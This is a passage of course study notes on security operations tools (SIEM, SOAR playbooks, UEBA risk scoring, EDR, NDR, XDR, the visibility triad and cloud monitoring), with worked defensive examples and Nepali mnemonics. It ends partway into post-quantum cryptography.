Correlation example (the deck's hunt): a file infection alert names Rita; her account shows repeated failed logins on several servers from one address; the address is on a known command and control list. Rita's account is compromised and a second account is being probed; disable the accounts, block the address.
To remember it (made up): on a college exam portal, the firewall log shows one address trying hundreds of passwords, the portal log the admin signing in from it, the database log marks changed at 2 a.m. Each looks routine alone; one SIEM rule (failures, a success, records changed out of hours) joins them into one alert.
| Aspect | Traditional SIEM | Next-generation SIEM |
|---|---|---|
| Detection | static correlation rules, signatures | rules plus built-in UEBA, ML, threat intelligence, ATT&CK-mapped content |
| Scale | appliance; short, costly retention | cloud native; elastic data lake; long history |
| Data | mostly logs | logs plus EDR and NDR telemetry, cloud and SaaS audit trails, identity |
| Response | alert and ticket; manual action | integrated SOAR playbooks, one-click actions |
| Investigation | keyword search | fast query languages, entity timelines, attack graphs |
| False positives | many; constant tuning | fewer, through risk scoring and context |
Limits: sees only what is logged and forwarded; cost grows with volume; rules need constant tuning; untuned, floods analysts with false positives. The chapter 4 deck: costly, complex, resource intensive, needs in-house expertise. SOAR and UEBA fix the last two.
How it enhances the posture: a single pane of glass (one searchable view across firewalls, endpoints, identity and applications; in the class notes' words, billions of raw, unreadable logs translated into actionable intelligence, one unified view of the security status for the security, compliance and IT operations teams); earlier detection; raw volume turned into a short prioritized list; compliance and audit trails; forensics and SOC measurement.
SOAR: orchestration, automation and response
SOAR (security orchestration, automation and response): a platform that connects the SOC's tools and runs repetitive investigation and response steps automatically through structured, repeatable playbooks, managing every incident as a case from alert to closure.
Why it emerged: SIEMs generated more alerts than analysts could triage; each alert needs the same lookups, and a drowning team misses the one that matters (alert fatigue); skills are scarce; attackers move in hours. The deck's slide line: move from reactive firefighting to structured control. Gartner describes SOAR as three older product types merged: security orchestration and automation, security incident response platforms, threat intelligence platforms.
Its role (the class notes): the "connective tissue" of the whole security operations environment, built to optimize and automate incident response against analyst fatigue and long, complex manual processes.
| Function | Meaning | Example |
|---|---|---|
| Orchestration | the disparate tools (SIEM, EDR, XDR, firewalls) connected through APIs and connectors, controlled from one place; one workflow drives many systems | one playbook queries SIEM, Active Directory, threat intelligence and EDR |
| Automation | repetitive manual tasks run by automated playbooks with no human click | a SIEM alert comes in; the playbook investigates it, gathers threat intelligence context and creates a service ticket; or looks up an address's reputation and blocks it on the firewall |
| Response | closing the loop: the analyst, or the automation itself, executes the response; the case is managed with collaboration, approvals, evidence, metrics | orchestration tells the EDR to isolate the endpoint; the case records every step for the report and audit |
Automation versus orchestration: automation is one task done by a machine; orchestration strings many automated and manual tasks across tools into one workflow.
To remember it: a bank's card fraud system is SOAR in miniature: a card used abroad at 2 a.m. is blocked and the customer texted within seconds, with nobody woken (automation), run across the card system and the SMS gateway as one (orchestration), and a person reviews the case in the morning (response).
Features: visual playbook builder (the deck shows a trigger, if/then branches, enrichment sub-playbooks, an Active Directory API call, an email step); integration library; case management instead of scattered email threads; human-in-the-loop approvals; automatic MTTD, MTTR and workload metrics.
Figure: the deck's SOAR playbook canvas: a trigger (a playbookEvent) feeds two if/then checks (each compares its leftOperand, a field of the triggering event, with its rightOperand, null, using !==, so the flow goes on only if the field is present, with an Else exit); the upper branch runs an account enrichment sub-playbook and an Active Directory API call (ad-get-user), the lower an IP enrichment sub-playbook; off the crop, both branches meet a last check (email !== null) before an email with the subject Account Activity.
The run list (same slide): playbooks nest (Playbook 1 calls 1.1, which calls 1.1.1 and 1.1.2); each run shows its source (Active Directory; Office 365, written O365), who started it (automation), the account it runs as, the last run and its status: pending, succeeded or failed. Sub-playbook 1.2 has failed on the slide: a failed run needs an analyst, since whatever it was meant to do has not been done.
What it solves (deck): cuts MTTR by automating containment (disable accounts, block addresses, isolate hosts); playbooks trigger directly off SIEM correlation rules, so a credential-compromise flow runs end to end with no analyst click. IBM's Cost of a Data Breach Report 2024: organizations using security AI and automation extensively in prevention paid about USD 2.2 million less per breach on average.
| SIEM | SOAR | |
|---|---|---|
| Purpose | detect | respond |
| Input | logs and events | alerts from SIEM and other tools |
| Core | correlation rules and analytics | playbooks and integrations |
| Output | prioritized alerts, reports | actions, closed cases, metrics |
Risks: a wrong decision repeated at machine speed (a false positive locks out a director or isolates a production server); playbooks need maintenance as APIs change; automating a chaotic process only speeds the chaos. Automate enrichment first, keep human approval on destructive steps, add containment as confidence grows.
How it enhances the posture:
- Speed: response times fall from hours or days to minutes or seconds (the class notes); faster containment, shorter dwell time.
- Productivity: SOC productivity rises sharply; limited analysts are freed from a flood of low-level alerts to work complex threats, directly answering the overload of events and alerts.
- Consistency: the same response every time, at any hour.
- Accountability: complete, auditable case records.
- Scale: the SOC grows without hiring in step with the alert count.
SOAR automates the containment and recovery work of incident response (chapter 6).
A SOAR playbook, step by step: a reported phishing email
Playbook: a documented, repeatable workflow for one incident type (what triggers it, what to check, what to decide, what to do), each step automated or assigned to a person; executable in SOAR.
Playbook and runbook: usually the playbook is the whole workflow with decisions, the runbook a fixed technical sequence inside it (such as "isolate a host in the EDR"). Chapter 3's hunting playbook is a documented hunt (hypothesis, ATT&CK technique, data sources, query, expected findings, escalation path), not an automated response.
Parts: trigger (SIEM rule, tool alert or user report); observables (user, host, address, domain, URL, hash); enrichment (reputation, asset owner, role, recent activity); decision points (malicious, clean, unsure); actions through APIs; approval gates; closure (case update, notifications, report, metrics).
The deck's credential-compromise playbook: a SIEM correlation rule triggers it; it enriches the account from Active Directory and the address from threat intelligence; it deletes the malicious files from endpoints, adds the indicators of compromise (IOCs) to the blocklist, isolates the endpoint, opens a ServiceNow ticket, and emails a report to the SOC manager, the CISO and the IT manager.
Figure: the deck's SOAR case log of that playbook as it ran: files deleted, indicators added to the block list, endpoint isolated and a ServiceNow ticket opened, all at 09:16, report emailed at 09:18; two minutes, no analyst click.
Read the log closely: each entry carries what the enrichment found. The isolation entry names the host (PC-Mark3), its user, the user's location (London) and manager; the ServiceNow ticket says why (malware was executed on the endpoint) and what IT must do next (format the endpoint ASAP, that is, wipe and rebuild it). The ticket arrives explained and routed; nobody looks anything up.
Figure: the phishing playbook: trigger, extract, enrich, a verdict diamond (clean closes; unsure goes to an analyst; malicious continues), scope, approve, contain, close case.
- Trigger: a user presses "Report phishing" or the gateway flags a message; SOAR opens a case.
- Extract: sender and reply-to, subject, links, attachment hashes, SPF, DKIM and DMARC results.
- Enrich: links, domains and hashes against threat intelligence and reputation services; sandbox detonation; sender domain age (one registered yesterday is suspicious).
- Decide: clean closes with thanks; malicious continues; unsure goes to an analyst.
- Scope: search every mailbox for the message; search proxy, DNS and EDR data for anyone who clicked or opened it.
- Approve: one analyst click, since the next steps touch users.
- Contain: delete the message everywhere; block sender and URL at the gateway and proxy; isolate any host that ran the attachment; force password resets and revoke sessions for anyone who typed a password.
- Close: update the case, notify the reporter and SOC lead, share indicators with the threat intelligence platform, record the times.
Mnemonic (the eight steps, in order): Thulo Engineer Ekdam Drunk Sutyo, Aanganma Chhepare Chatyo (the big engineer passes out dead drunk in the courtyard, and a lizard licks him).
Why it cuts MTTR: by hand each report costs many minutes of lookups, and a campaign brings dozens; the playbook runs them in seconds, in parallel, at any hour, leaving only judgment to people.
To remember it (made up): at 9:02 a student reports an email saying her Khalti KYC expires today unless she verifies it through a link; by 9:03, after one analyst click, the playbook has pulled the same email from 300 mailboxes, blocked the link and listed the three students who clicked, for password resets. By hand: a whole morning.
Design rules: start with frequent, low-risk, well understood incidents; automate enrichment before containment; keep people on disruptive steps; test and version playbooks like code; map each to the incident response phases. Other playbooks: malware on an endpoint, compromised account, brute force, ransomware containment, data exfiltration, vulnerability alert triage.
UEBA: catching behavior that no rule describes
UEBA (user and entity behavior analytics): analytics that build a baseline of normal behavior for every user and entity (hosts, servers, routers, applications, service accounts, devices), compare each new action with it and with the peer group, and flag statistically significant deviations as risk.
Why it emerged: compromised credentials and insiders look normal to rules; a stolen password or an employee copying files they may read breaks no rule. UEBA asks "is this unlike this user?", not "is this known bad?". The name grew from UBA when entities were added.
Its role and features (the class notes): a specialized tool that uses advanced analytics to find threats by the behavior of users and devices, rather than static rules or signatures.
- Behavioral analytics: machine learning builds the baseline of normal behavior for every user and entity on the network.
- Anomaly detection: its primary function, identifying abnormal and potentially dangerous behavior that deviates from the baseline, and scoring a user's risk on abnormal login times, unusual data access patterns or multiple failed authentications.
To remember it: Google and Facebook alert an account that signs in from a new phone in another country: the password was right and no rule was broken, the sign-in was simply unlike its owner. UEBA asks that of every user, server and service account, all the time.
- Collect: authentication and directory logs (Active Directory, VPN, single sign-on), file and database access, proxy and DNS, email, DLP, endpoint and cloud activity, HR context (role, department, leaving date).
- Baseline: over weeks, each user's usual hours, locations, devices, volumes and resources, and the peer group's.
- Detect: statistics and machine learning: z-scores, clustering, rare events (first access to a server), peer comparison.
- Score: risk points weighted by strength and asset value, accumulating per entity and decaying with time; an alert above a threshold.
- Investigate: the entity's anomaly timeline, handed to SIEM and SOAR.
Figure: a finance clerk's daily file count stays in a narrow band around 40 for 30 days, then jumps to 400 (z = 36); risk points from volume (+40), a 2 a.m. login (+15), a new country on VPN (+20) and a personal cloud upload (+25) reach 100, past an alert threshold of 70 (example weights).
Worked example (the deck's insider scenario): mean 40 files a day, standard deviation 10; today 400 files between 1 and 3 a.m. over VPN from a new country.
Above about 3 is unusual; 36 is extreme. With the off-hours login, the new country and a DLP record of uploads to personal cloud storage, the score passes the threshold: a compromised account or an insider taking data before resigning. Response: restrict the account, preserve evidence, involve HR and legal under the insider threat policy.
The deck's UEBA screen:
- Matrix of anomalies: each anomaly plotted on a timeline by risk level (extreme, high, medium, low; six extreme and one high on the slide), under an overall risk trend line climbing from 60 to 81.
- Top risky users: sorted by maximum risk; the top account scores 98, the next three 59, 55 and 53; every entity scored against its peer group in real time (the deck's finance department account).
- Anomalies in plain words: a user with little activity making failed access attempts to a shared drive (tagged "Potential Internal Recon", reconnaissance from inside); the top user working in an hour very unusual for that account; the same user sending 1.31 GB in an hour by HTTP POST, far more than normal. The last two are the insider pattern again: odd hours, then a large upload, which is why that account tops the list.
| Use case | Signals |
|---|---|
| Compromised account | impossible travel (Kathmandu at 09:00, Frankfurt at 09:40), new device, odd hours |
| Insider data theft | volume spikes, access outside the role, personal storage uploads, notice period |
| Privilege abuse | admin rights on systems never touched; a dormant account wakes |
| Lateral movement | one account logs on to many hosts it never used |
| Service account misuse | an interactive login by a software-only account |
| SIEM rules | UEBA | |
|---|---|---|
| Finds | known patterns written in advance | the unusual, even if never seen |
| Threshold | fixed, the same for everyone | dynamic, per user and peer group |
| Weakness | blind to valid credentials misused | learning period; an anomaly is not proof |
Limits: weeks to learn, and an attacker inside during learning becomes "normal"; new projects, travel and role changes cause false positives; ML scores are hard to explain; monitoring staff must follow policy and privacy law.
How it enhances the posture:
- Insider threats: UEBA is particularly effective at identifying them. A traditional SIEM may not flag a user with valid credentials; UEBA flags the behavior of a malicious insider, or of an attacker using compromised insider credentials, even when it mimics authorized traffic.
- Context for the SIEM: often integrated with the SIEM to add behavioral context and risk scores to its alerts, turning noisy alerts into a few high-risk entities and cutting false positives.
- Priorities: the SOC works the riskiest users and devices first.
EDR: seeing and stopping attacks on the endpoint
EDR (endpoint detection and response): an agent on every endpoint (laptop, desktop, server) that continuously records process, file, registry and network activity, detects malicious behavior with analytics, and lets analysts investigate and respond in real time, such as isolating the host.
Why it emerged: signature antivirus missed fileless malware and living-off-the-land techniques (PowerShell, WMI, PsExec already on the machine); with no malicious file there is nothing to match. Ransomware added speed.
To remember it: antivirus is the gate guard checking every face against a list of wanted men; EDR watches what each visitor does inside, sees which drawers he opens and in what order (the process tree), and can lock the room with him still in it (isolate the host).
Its role (the class notes): deep, granular visibility and response directly on the endpoints. How it works, under the notes' four features plus hunting:
- Behavioral recording (the agent): records and stores system-level behavior and telemetry, not just known-bad signatures: process starts with command lines and parents, file writes and renames, registry changes, per-process connections, logons, loaded drivers.
- Suspicious activity detection (central analytics): usually in the cloud; behavioral rules (indicators of attack), indicators of compromise, ML, threat intelligence; detections mapped to MITRE ATT&CK.
- Investigation: forensic analysis of exactly what happened on a compromised machine; the full process tree and timeline, rebuilt from the recording, make it fast and accurate.
- Incident containment (response): its primary capability, to contain the incident at the endpoint: isolate the host so malware cannot spread (it talks only to the console), kill a process, quarantine or delete a file, remove persistence, block a hash fleet-wide, collect forensics, remote shell; some roll back ransomware-encrypted files.
- Hunting: query every endpoint's history, like the deck's osquery "on which hosts did Word start PowerShell?".
Worked example (the deck's lateral movement scenario): winword.exe starts powershell.exe with an encoded command that downloads a payload; PowerShell starts PsExec.exe against two servers the account never used. Antivirus sees no bad file; EDR sees the abnormal parent and child chain, and the analyst isolates the laptop in seconds, not hours, resets credentials and escalates. In the deck's EDR product (GuardSix AgentX) the isolate-host action runs directly from the detection, with no console switching.
| Antivirus (EPP) | EDR | |
|---|---|---|
| Question | Is this file known bad? | Is this behavior normal? |
| Method | signatures and heuristics on files | behavior analytics on telemetry |
| Focus | prevention at execution | detection, investigation, response |
| Fileless attacks | mostly missed | seen through behavior |
| Memory | a verdict only | searchable history |
| Response | quarantine the file | isolate, kill, remove, roll back, hunt |
Most products ship both in one agent. MDR (managed detection and response): a provider watches the EDR for organizations without a 24-hour SOC.
Limits: no agent, no visibility (unmanaged, IoT, OT, legacy); one host at a time with little network context; attackers try to kill the agent, for example with a vulnerable driver; alerts still need skilled triage.
How it enhances the posture (the deck: "visibility and control at the last line of defense"): the last line of defense on the asset itself; it moves beyond traditional antivirus, which is purely preventative, by adding detection, investigation and, above all, response; stops attacks in progress and holds ransomware before it spreads; the full story for investigators.
NDR: watching the network every attacker must cross
NDR (network detection and response): continuously monitors and analyzes raw network traffic, packets and flow data, uses behavioral models and machine learning rather than signatures alone, covers east-west and north-south traffic, and responds by alerting, blocking or quarantining.
Why: "when you need more than a SIEM" (deck). Attackers who evade EDR on unmanaged, IoT, OT or legacy devices still move across the network, which NDR sees without an agent; a compromised host can lie, its traffic cannot. Beyond the payload (deck): it detects encrypted and living-off-the-land activity (admin tools already on the machines, such as PsExec or RDP) through behavior and metadata, not payload inspection alone, closing the gap between what endpoint tools report and the network's reality.
To remember it: a hostel's Wi-Fi router: no agent on forty phones, yet it sees a phone calling one unknown address every 60 seconds all night (beaconing) and an unknown device probing the other rooms at 2 a.m. (a rogue device).
- North-south: in and out across the perimeter (a laptop calling an internet server).
- East-west: inside, device to device (a workstation opening shares on ten servers).
Collection: sensors on switch mirror (SPAN) ports or taps at the edge, core and data center; flow records (NetFlow, IPFIX); tools such as Zeek turn packets into DNS, HTTP and TLS metadata; in the cloud, traffic mirroring and flow logs replace the tap.
Detection: behavioral baselines (who talks to whom, ports, volumes); beaconing (regular callbacks, such as every 60 seconds); DNS tunneling (thousands of long, random subdomain queries to one domain); lateral movement (SMB, RDP between workstations); exfiltration (unusual outbound volumes, often at night); encrypted traffic analysis without decryption (TLS fingerprints such as JA3, odd certificates, packet sizes and timing).
Worked example (the deck's DNS tunneling hunt): one host sends thousands of long, high-entropy subdomain queries to one domain; flow records show steady small outbound packets; data is leaving through DNS to dodge egress controls. Block the domain, isolate the host, inspect it for the tool.
Use cases (deck): DNS tunneling or C2 beaconing in encrypted traffic; lateral movement between servers without EDR; rogue or unmanaged devices flagged the moment they talk.
The deck's NDR screen, in two halves (the D and the R of NDR):
- AI Detect: notifications by severity (8 high, 6 medium, 3 low on the slide; sortable by host with most notifications, source host, destination host); chains of events laid along the kill chain; a live asset inventory: 724 assets tracked, all 724 active in the last 24 hours, none newly discovered (a jump in new assets is the rogue device use case on one counter); notification rules, the network configuration and a search over the stored data.
- AI Prevent: the response side, which had blocked 1,149 threats by itself.
Figure: the deck's NDR chain of events: each row one chain of linked network events on a host, all ending in data exfiltration; the open chain's five links plotted on the stages reconnaissance, weaponize, deliver, exploit, control, execute and maintain.
NDR and IDS: an IDS matches signatures, usually at the perimeter; NDR grew from it and from network traffic analysis (NTA), is behavioral, watches inside too, and keeps metadata.
Limits: no view inside the endpoint; encrypted payloads hidden; remote and cloud traffic may miss the sensor; more false alarms without host context; capture and storage cost.
How it enhances the posture: agentless coverage, early sight of lateral movement and exfiltration, a live asset inventory, automatic blocking, an independent source of truth.
XDR: one incident across endpoint, network, email, cloud and identity
XDR (extended detection and response): a platform that natively correlates signals across endpoint, network, email, cloud and identity into a single incident and responds across those layers from one console; EDR's idea extended beyond the endpoint.
Why it emerged: EDR, network, email and cloud tools ran as silos with no shared context; analysts pivoted between consoles and a multi-stage attack looked like five unrelated medium alerts. The term is usually credited to Nir Zuk of Palo Alto Networks, 2018.
Its role (the class notes): the evolution of EDR, extending detection and response beyond the endpoints into a single, unified security platform. How it works, the notes' two features first:
- Data consolidation: data unified from many sources, not just endpoints: email, cloud, identity (IAM), the network (firewall, NTA, IPS) and the endpoints (EDR), each through its own sensor or connector.
- One data lake with one schema.
- Cross-platform correlation in that data lake, by shared entities (user, host, address, hash) and time, mapped to ATT&CK stages: a complete picture of the attack chain.
- One incident on one timeline; the deck's product joins four signals into one case in under two minutes.
- Response in every layer: quarantine the email, reset the account, isolate the host, block the address.
Figure: the same five-step attack in two panels: EDR alone sees only the endpoint row (a macro starts PowerShell), one medium alert; XDR sees phishing link, sign-in from a new country, PowerShell, SMB to a file server and cloud upload, joined into one high-severity incident.
Worked example: phishing link (email); password typed on a fake page and a sign-in from a new country (identity); macro starts PowerShell (endpoint); SMB sessions to a file server (network); gigabytes to an unknown cloud site (cloud). EDR sees one suspicious process; XDR ties five events by one user, host and hour into one high-severity incident and contains it everywhere.
To remember it: five office witnesses each saw one odd thing (a strange letter, a visitor on a borrowed ID card, someone at the wrong desk, a stranger in the records room, a carton leaving by the back gate); the inspector who lays the five side by side sees one theft and seals every door. EDR is one witness; XDR is the inspector.
| EDR | XDR | |
|---|---|---|
| Scope | endpoints only | endpoint, network, email, cloud, identity |
| Data | host telemetry | every layer in one store |
| View of an attack | one fragment | the whole chain as one incident |
| Response | host: isolate, kill, remove | host, mailbox, account, network |
| Consoles | one per tool | one |
Native (closed) XDR joins one vendor's sensors with little setup; open (hybrid) XDR takes other vendors' tools through APIs, more flexible, more work.
| SIEM | XDR | |
|---|---|---|
| Center of gravity | logs from any vendor | telemetry, mostly its own vendor's |
| Detections | written and tuned by the SOC | built in, pre-tuned |
| Retention and compliance | long, with reports | shorter, weaker |
| Setup | long onboarding and tuning | quick, content ready |
Compliance and retention pull toward SIEM, detection speed toward XDR; many SOCs run both, XDR feeding the SIEM. SOAR still orchestrates any tool with an API, while XDR responds inside its own ecosystem.
Limits: vendor lock-in, weaker third-party coverage, a loosely used label, still needs skilled analysts.
How it enhances the posture: it simplifies operations (instead of jumping between five tools, the EDR, email gateway, network console and the rest, one platform shows the entire attack, from the first phishing email to lateral movement on the network and data exfiltration from the cloud: the class notes); multi-stage attacks caught across layers before any single tool sees the whole picture; fewer, higher-fidelity incidents; one coordinated response.
The SOC visibility triad: logs, endpoints and the network
SOC visibility triad: a SOC needs three complementary sources of visibility: SIEM (logs and events from everything), EDR (activity inside endpoints) and NDR (network traffic); each sees what the others cannot, so an attacker who evades one is still seen by the other two.
Origin: Gartner analyst Anton Chuvakin coined it in 2015, working on a Gartner SOC paper, as the "SOC nuclear triad": a Cold War nuclear triad (bombers, land-based missiles, submarines) survives the loss of any one leg. The network leg, first network traffic analysis (NTA), is now NDR.
Figure: a triangle with SIEM (logs) at the top, EDR (endpoints) lower left and NDR (network) lower right, each with what it sees and its blind spot; in the middle, correlate: ambiguous in one view, obvious in three; an attacker must evade all three.
| Component | Sees | Blind spot |
|---|---|---|
| SIEM (logs) | network, endpoint and data activity via logs and alerts; history; correlation; compliance | only what is logged and forwarded; costly, complex, resource intensive; needs expertise |
| EDR (endpoint) | processes, files, registry, memory; process tree; host isolation | no network traffic; agentless IoT, OT, unmanaged, legacy devices |
| NDR (network) | north-south and east-west traffic around the clock, no agent; rogue devices | nothing inside the endpoint; encrypted payloads; more false alarms |
To remember it: an exam hall is watched three ways: the attendance sheet (logs, SIEM) says who signed in, the invigilator walking the rows (EDR) sees what each student does at the desk, the corridor CCTV (NDR) sees who moves between halls; to cheat unseen, a student must beat all three.
Why integration beats any one alone:
- Complementary blind spots: EDR cannot see the wire, NDR the process, SIEM anything not sent to it; together no layer is dark.
- Corroboration: a new outbound connection means little alone; with Word starting PowerShell (EDR) and an account never seen on this host (logs), it is one intrusion.
- Survives evasion: kill the EDR agent and the traffic remains, and the SIEM sees the agent go silent; wipe the logs and EDR and NDR already recorded it; use an unmanaged device and NDR sees it.
- Fewer false positives: host and identity context filters NDR's alarms.
- Complete investigation: who (logs), what ran (endpoint), where it went (network), across every kill chain stage.
Worked example: a stolen VPN password at 2 a.m. from a new country (SIEM), a credential-dumping tool on the laptop (EDR), beaconing every minute from an agentless server (NDR): three medium alerts alone, one confirmed intrusion together.
The deck's fourth node: data and application security (required for critical assets, no view of network or endpoints, more overhead and complexity); the triad is the minimum, not the ceiling. UEBA works on the log leg's data; XDR implements the triad natively. The class notes file this question under chapter 4, where the deck shows the figure on its SIEM slide.
Integration and use cases: one loop from detection to response
Integration of emerging technologies: connecting SIEM, UEBA, EDR, NDR, XDR and SOAR (with threat intelligence, identity, email and cloud tools) so telemetry flows into shared analytics, alerts become one incident, and responses run across tools automatically: a closed loop of detect, correlate, decide, respond and improve. The syllabus lab integrates SIEM, SOAR and EDR.
- Data in: agents, syslog, APIs and cloud connectors into the SIEM or XDR store.
- Context: threat intelligence feeds (STIX over TAXII), asset inventory, identity and HR data.
- Common language: one normalized schema and MITRE ATT&CK technique IDs on every detection.
- Actions out: SOAR calls each tool's API (EDR isolate, firewall block, directory disable, mail purge, ticket).
- Feedback: lessons become rules, tuned UEBA baselines, better playbooks, new hunts.
The class notes' convergence, in four steps:
- EDR and XDR feed rich, high-context telemetry (system behaviors) to the SIEM.
- UEBA adds behavioral context and risk scores to the SIEM's alerts, cutting false positives.
- The SIEM correlates it all, identifies a high-fidelity threat and alerts the SOAR platform.
- SOAR runs an automated playbook across the other tools: the XDR isolates the endpoint, the firewall blocks the attacker's IP, the IAM tool disables the user's account.
A closed loop: deep visibility (SIEM, EDR, XDR, UEBA) joined to automated action (SOAR) is how the notes say the ecosystem enhances the posture.
Worked integration:
- UEBA: a finance account is risky: a 2 a.m. login from a new country and ten times its normal file access.
- EDR: Word starts PowerShell, then PsExec reaches two servers the account never used.
- NDR: one of those servers, with no EDR agent, beacons outward every 60 seconds inside TLS.
- SIEM: correlates the three, enriches the address, finds it on a known C2 list.
- XDR: one incident with one timeline instead of four tickets in four consoles.
- SOAR: disables the account, isolates both hosts, blocks the address, opens the case, pages the analyst; seconds, not hours.
- Lessons: a rule for PowerShell started by Office programs, and an agent for the unprotected server.
| Use case | Detect | Correlate and decide | Automated response |
|---|---|---|---|
| Phishing | gateway, user report | SOAR enrichment, sandbox | purge mailboxes, block URL, reset clickers' passwords |
| Ransomware | EDR: mass renames, deleted backups | SIEM with NDR's SMB spread | isolate hosts, disable account, block C2, restore |
| Compromised account | UEBA: impossible travel, new device | SIEM with identity logs | revoke sessions, reset password, re-enroll MFA |
| Insider data theft | UEBA volume spike, DLP upload | SIEM with HR leavers list | restrict access, preserve evidence, HR and legal |
| Lateral movement | EDR process chain, NDR east-west SMB or RDP | XDR incident | isolate hosts, reset credentials |
| C2 beaconing, DNS tunneling | NDR | threat intelligence match in SIEM | block domain and address, isolate host |
| Cloud account takeover | audit logs: new keys, logging disabled | SIEM and UEBA | revoke keys, lock account, snapshot |
| Compliance | SIEM retention | scheduled reports | evidence for auditors |
Nepali case: in October 2017, during Tihar, attackers used NIC Asia Bank's SWIFT server to send fraudulent transfers of about USD 4.4 million to accounts in six countries; most was recovered with Nepal Rastra Bank's help (Kathmandu Post, BankInfoSecurity). Holiday payment messages to new beneficiaries in unusual volumes are the anomaly UEBA and SIEM rules on payment systems exist to flag; a SOAR playbook can hold high-value transfers for a call-back.
Benefits: coverage, higher-fidelity alerts, faster response, consistency, analysts freed for hunting, measurable MTTD and MTTR, compliance evidence.
Challenges: cost and tool sprawl; integration effort (connectors, parsers, APIs break); data quality (missing sources, wrong clocks, unparsed logs); alert fatigue from bad tuning; skills shortage; automation risk; vendor lock-in and UEBA privacy concerns. Doing it well: start from use cases, map detections to ATT&CK to find gaps, phase the roll-out, keep approval on disruptive actions, measure, buy MSSP or MDR services where people are short.
Security monitoring in the cloud
Cloud security monitoring: collecting and analyzing the logs, configuration and activity of cloud accounts, workloads and SaaS applications to detect misconfiguration and attack, with responsibility shared between provider and customer.
Shared responsibility model: the provider secures the cloud (data centers, hardware, virtualization, its services); the customer secures what it puts in it (identities, data, configuration, workloads).
| Model | Provider secures | Customer secures and monitors |
|---|---|---|
| IaaS | facilities, hardware, hypervisor | OS, applications, network rules, identities, data |
| PaaS | also OS and runtime | applications, identities, data, configuration |
| SaaS | almost everything | users, access, data, settings |
The deck: the provider logs some of the infrastructure layer, but customers must enable, forward and review the rest, and many do not.
To remember it: a rented hostel room: the owner keeps the building, the main gate and the wiring; the tenant locks the room, the cupboard and the laptop, and the gate register (the provider's audit log) catches nobody unless someone reads it. IaaS is an empty room to furnish, SaaS a furnished room with a cleaner: less to secure, never nothing.
Where the logs are (deck approaches):
- Control-plane audit logs: AWS CloudTrail, Azure Activity Log, Google Cloud Audit Logs; every API call against the account (new users, opened ports, logging switched off).
- Cloud-native log services: Amazon CloudWatch, Azure Monitor and Log Analytics, Google Cloud Logging; workload and service logs.
- Container and orchestration logs: Kubernetes audit logs via Fluentd, Fluent Bit or OpenTelemetry; containers live minutes and agents cannot keep up.
- Posture and entitlement findings: CSPM (public storage, open ports), CIEM (excessive permissions), CWPP (workload vulnerabilities and runtime threats), sent to the SIEM as structured findings; combined platforms are CNAPP.
- Network and SaaS: virtual network flow logs in place of a tap; SaaS audit logs such as Microsoft 365.
Why harder than on premises: volume and cost (orders of magnitude more logs; storage and egress charges); fragmented ownership (DevOps create resources, logging not enabled or forwarded); no fixed perimeter (no wire to tap; identity is the perimeter); shared responsibility gaps; ephemeral, multi-cloud resources in different formats.
Worked example: in 2019 an attacker used server-side request forgery through Capital One's misconfigured web application firewall on AWS to get an IAM role's temporary credentials, then listed and copied storage buckets: about 100 million people in the United States and 6 million in Canada. Credential use and bucket listing are control-plane calls CloudTrail records by default; reading objects is a data event that must be switched on. A rule for role credentials used from outside the company's servers, plus a SOAR playbook to revoke them, is the answer.
Tools in the cloud: SIEM with cloud connectors or a cloud-native SIEM (Microsoft Sentinel); UEBA on cloud identities; EDR and CWPP on machines and containers; NDR on flow logs and mirrored traffic; XDR with a cloud layer; SOAR, since every containment step (revoke a key, change a security group, snapshot a disk) is an API call.
The virtual CISO: security leadership as a service
vCISO (virtual chief information security officer): an experienced security executive, usually from a consultancy or managed security provider, who performs the CISO role part time, remotely or on retainer for an organization that does not need, or cannot afford, a full-time CISO; also a fractional CISO. The course objectives list "the concept of vCISO" beside emerging technologies, but no deck slide covers it, so the card teaches the standard idea.
The CISO role: accountable for the security program: strategy, policy, risk, compliance, incident response, security operations, awareness, budget, board reporting; someone at that level decides what the SOC buys and does.
Why adopted:
- Cost: a full-time senior executive is beyond most small and medium organizations; a vCISO costs a fraction for set days a month.
- Talent shortage: experienced leaders are scarce, especially outside big cities.
- Compliance pressure: regulators, customers, ISO/IEC 27001, PCI DSS; in Nepal, Nepal Rastra Bank's Cyber Resilience Guidelines (2023) expect regulated institutions to govern cyber risk, monitor for attacks and plan their response.
- Interim cover: between CISOs, after a breach, through a merger.
- Breadth and objectivity: experience of many organizations, outside internal politics.
- Governance expected: NIST CSF 2.0 (2024) added Govern beside identify, protect, detect, respond, recover.
To remember it: small firms keep no full-time accountant; they pay one who keeps several firms' books and comes in when the tax office calls. A vCISO is the same for security: for example (made up), a vCISO two days a month writes the security policy and incident response plan a 40-person Lalitpur software firm's European client asks for.
| Service | What it involves |
|---|---|
| Strategy and roadmap | maturity assessment (NIST CSF, ISO/IEC 27001), priorities, multi-year plan |
| Risk management | asset inventory, risk register, treatment decisions |
| Policy and governance | policy framework, roles |
| Compliance and audit | certification and regulator audits, customer questionnaires |
| Incident readiness | IR plan, playbooks, tabletop exercises, leadership in an incident |
| SOC oversight | choose SIEM, EDR or MDR, set metrics, manage the MSSP |
| Third-party risk | assess vendors and cloud providers |
| Awareness | training, phishing simulations |
| Reporting | risk and metrics to management and board; budget |
Mnemonic (the nine services, in order): Sano Raju Pasalma Chips, Ilaichi, Sel Tokera Aamasanga Ruyo (little Raju bites into chips, a cardamom pod and a sel roti at the shop, and runs crying to his mother).
Engagement models: fractional, retainer, project-based (such as reaching ISO/IEC 27001), interim full time.
| Benefits | Limitations |
|---|---|
| far cheaper than a full-time executive | not always available during an incident |
| senior expertise from day one | less knowledge of the business and culture |
| flexible scope | accountability and liability set by contract |
| outside view from many firms | learns the weaknesses: needs a confidentiality agreement and trust |
Making it work: a named internal owner, clear scope and incident response time, agreed metrics, access. Operations follow the same "as a service" model (MSSP, MDR); the vCISO directs them and holds them to account.
Post-quantum cryptography: why vendors ship it before the quantum computer
PQC: public-key algorithms that resist both ordinary and large quantum computers, built on problems (lattices, hash functions, error-correcting codes) believed hard for both, running on today's hardware; not quantum cryptography, which uses quantum physics itself (quantum key distribution).
- Shor's algorithm (1994): on a large fault-tolerant quantum computer, factors integers and computes discrete logarithms efficiently, breaking RSA, Diffie-Hellman and elliptic curve cryptography (TLS, VPN, SSH, code signing, certificates).
- Grover's algorithm (1996): a square-root speed-up for brute force, roughly halving symmetric and hash strength: AES-128 to about 64 bits, AES-256 keeps about 128 and stays safe. Symmetric crypto needs longer keys; public-key crypto needs replacing.
| Algorithm | Quantum impact | Action |
|---|---|---|
| RSA, Diffie-Hellman, ECDH, ECDSA | broken by Shor | replace with ML-KEM, ML-DSA |
